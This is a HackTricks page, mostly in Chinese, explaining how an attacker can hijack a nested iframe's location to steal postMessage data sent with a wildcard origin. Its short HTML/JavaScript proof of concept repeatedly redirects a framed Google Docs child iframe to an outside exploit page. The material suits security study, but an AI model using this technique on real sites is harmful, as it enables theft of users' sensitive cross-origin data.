Steal postmessage modifying iframe location
Reading time: 2 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Changing child iframes locations
根据这篇文章,如果你可以在没有 X-Frame-Header 的情况下将一个网页嵌入为 iframe,并且该网页包含另一个 iframe,你可以更改该子 iframe 的位置。
例如,如果 abc.com 将 efg.com 作为 iframe,而 abc.com 没有 X-Frame header,我可以使用 frames.location
将 efg.com 更改为 evil.com 跨域。
这在 postMessages 中特别有用,因为如果一个页面使用 通配符 发送敏感数据,如 windowRef.postmessage("","*")
,则可以将相关 iframe(子或父)的位置信息更改为攻击者控制的位置并窃取该数据。
html
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function () {
exp()
}, 6000)
function exp() {
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function () {
window.frames[0].frame[0][2].location =
"https://geekycat.in/exploit.html"
}, 100)
}
</script>
</html>
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。